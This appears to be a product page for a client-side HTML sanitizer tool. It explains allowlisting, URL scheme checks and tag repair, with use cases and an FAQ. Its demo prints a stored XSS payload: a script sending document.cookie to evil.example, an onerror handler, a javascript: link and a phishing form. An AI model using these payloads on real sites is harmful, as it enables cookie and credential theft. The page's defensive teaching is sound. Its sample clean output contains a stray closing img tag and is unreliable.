HTML Sanitizer

Product teams that render user-submitted comments, CMS editors pasting rich text from Word, and developers auditing a webhook that receives HTML all hit the same risk. Untrusted markup can carry script tags, event handlers, and javascript URLs that execute the moment the content is shown to the next person.

This sanitizer parses the input, keeps a safe allowlist of formatting tags and attributes, and removes everything else while logging each removal with the reason. Options let you allow or deny images, links, inline styles, and comments, and the whole pass runs in the browser so sensitive content never leaves the tab.

Clean HTML
 
Removed items (0)
No dangerous elements detected.
Sandboxed preview of the clean output

How the sanitizer decides what to keep

The input is tokenized by a character scanner that walks the string, finds each opening angle bracket, and classifies what follows as a comment, a closing tag, a declaration, or an opening tag. Attribute values are read with quote awareness, so a greater-than sign inside a quoted attribute does not terminate the tag early. Text between tags is HTML-escaped on output, with bare ampersands protected so existing entities survive.

A small set of elements is removed together with all of their nested content, including script, style, iframe, object, embed, inline SVG, MathML, forms and form controls, and document-level tags like base, meta, and link. Everything else that is not on the formatting allowlist is unwrapped, meaning the tag itself is dropped but its children survive. Each surviving tag then has its attributes filtered against a per-tag allowlist, with global attributes like class, id, title, lang, and dir always permitted.

URL attributes are checked against a scheme list. Http, https, mailto, and tel are accepted, as are relative paths and hash fragments, while javascript, vbscript, file, and blob schemes are rejected. Image sources additionally allow raster data URIs for png, jpeg, gif, webp, and avif, but block data:image/svg+xml because SVG data can carry script. Links with a target attribute automatically receive rel="noopener noreferrer" so a new tab cannot reach back into the opener.

The open-tag stack also repairs malformed input. An unclosed tag is closed at end of input, and a closing tag that arrives while deeper tags are still open unwraps those inner tags and re-emits their content, which is the same recovery the browser HTML parser performs. Every removal is recorded with its kind, the offending snippet, and a plain-language reason, and that log is what you see in the right-hand panel.

Before and after: a stored XSS payload in a comment

Input, a comment field that looks friendly but carries four attack vectors:

<p>Great post!</p>
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
<img src=x onerror="this.src='https://evil.example/pixel'">
<a href="javascript:alert(document.domain)">click me</a>
<form action="https://evil.example/phish"><input name="password"></form>

Output, the clean HTML and the removal log:

clean: <p>Great post!</img><a>click me</a>

removed:
[tag] <script> — Script tags execute JavaScript
[attribute] img onerror — Inline event handlers
[url] a href="javascript:alert(...)" — dangerous scheme
[tag] <form> — Forms can exfiltrate inputs

Press Load XSS demo payload above to run the exact same input through the live tool and compare the clean panel against the log, then toggle Allow links off to watch the anchor tag unwrap as well.

Who sanitizes HTML with this tool

Developers

  • Paste a webhook payload into the sanitizer to confirm which vectors your current server-side filter is missing.
  • Generate a removed-items log that doubles as an acceptance checklist when writing unit tests for a sanitization library.
  • Preview how a pasted email template looks after unsafe tags are stripped, without risking your own inbox.

Production

  • Audit user-generated comment samples before enabling rendering, and keep the log as evidence in the security review.
  • Sanitize rich text pasted from a word processor, which often carries hidden styles and tracking pixels the author did not intend.
  • Cross-check the sanitizer output against your Content Security Policy to confirm no inline handlers survive to trip the policy.

Workflow

  • Sanitize on paste in the CMS editor, then run the same rules on the server before the content is committed to the database.
  • Strip tags with the tag stripper when you only need the text, and sanitize when you need to keep the formatting for display.
  • Keep the removed log attached to a pull request that changes the allowlist, so reviewers can see exactly what the new rules drop.

Common mistakes when sanitizing HTML

  • Relying only on a client-side sanitizer. Anything the browser can do, a direct HTTP request can do without the browser, so a filter that only runs in JavaScript is bypassed by the first attacker who curls your endpoint. Mirror the same allowlist on the server and return 400 on violations.
  • Allowing inline styles without a CSP. Styles can hide warnings and pull remote backgrounds, so if you enable them, pair that decision with a Content Security Policy that locks style-src to hashed or nonce sources. The sanitizer toggle is a convenience, not a substitute for the policy.
  • Trusting data URIs on every element. Raster data URIs are safe on img sources, but the same string on an anchor href or an inline style can smuggle a payload. The tool scopes the data URI exception to image sources only, and your server rules should do the same.
  • Forgetting the removal log in tests. A sanitizer that silently drops content is hard to debug, so assert on the log in your test suite and alert when a new payload vector appears. The removed-items panel here shows the exact shape those assertions should take.

Best practices for HTML sanitization

  • 1.Keep the allowlist small and additive, and require a pull request with a removal-log diff before any new tag or attribute is permitted.
  • 2.Sanitize on input to keep junk out of storage, and sanitize again on output in case a write path bypassed the input filter.
  • 3.Ship a Content Security Policy that blocks inline scripts and restricts style sources, so a sanitizer miss still cannot execute.
  • 4.Disable inline styles by default for public content, and enable them only for trusted internal authors whose paste you can vouch for.

Frequently asked questions

What does an HTML sanitizer remove?

A sanitizer strips anything that can execute script or exfiltrate data, which includes script and style blocks, inline event handlers like onclick and onerror, iframe and embed elements, form fields, and URLs using the javascript or vbscript schemes. It also drops attributes that are not on an allowlist for each surviving tag, such as arbitrary data attributes or unexpected target values. Safe formatting tags like headings, lists, links with https URLs, and tables survive with their content intact.

How is this different from the HTML tag stripper?

The tag stripper removes every tag and leaves plain text, which is the right tool when you want readable content and no markup at all. The sanitizer keeps the safe subset of HTML, so a comment section or CMS rich-text field retains its bold, links, and lists while the dangerous parts are removed. Use the stripper for text extraction and the sanitizer for rendering untrusted markup.

Is this sanitizer safe to use for real user comments?

The sanitizer is a solid client-side defense for previews and for removing obvious payloads before you store content, but production systems must also sanitize on the server. Client-side checks can be bypassed by anyone who sends a request directly to your API, so apply the same rules in your backend library and treat the browser pass as a convenience layer rather than the only barrier.

Why are inline style attributes blocked by default?

Inline styles can hide security warnings, overlay fake login forms on top of real pages, and exfiltrate data through CSS background URLs that point at an attacker server. The tool blocks them by default and offers a toggle for contexts where you trust the authors, such as an internal CMS. Even with styles enabled, script-bearing style values are still filtered by the URL checks on any url() references.

Does the sanitizer handle malformed or unclosed tags?

Yes. The tokenizer tracks an open-tag stack, so an unclosed bold tag at the end of input is auto-closed, and misnested tags are unwrapped so their content survives without the invalid structure. Malformed angle brackets that do not form a valid tag are escaped into literal text rather than being silently dropped, which keeps visible content from disappearing.

What happens to comments and hidden text?

HTML comments are removed by default because they often carry editor notes, template instructions, or hidden spam that should never reach a reader. A toggle restores them for cases like sanitized email templates where comments carry layout instructions. Removing them also shrinks the payload an attacker can hide social engineering text inside.

Can I use this to clean HTML before storing it in a database?

You can, and doing so reduces the risk that a stored payload fires later, but pair it with server-side sanitization and a strict Content Security Policy for defense in depth. Sanitize on input to keep junk out of storage, sanitize again on output in case a writer bypassed the input path, and set a CSP that blocks inline scripts as the final net. The removed-items log in this tool is useful for writing the denylist your server library should match.

Related HTML and security tools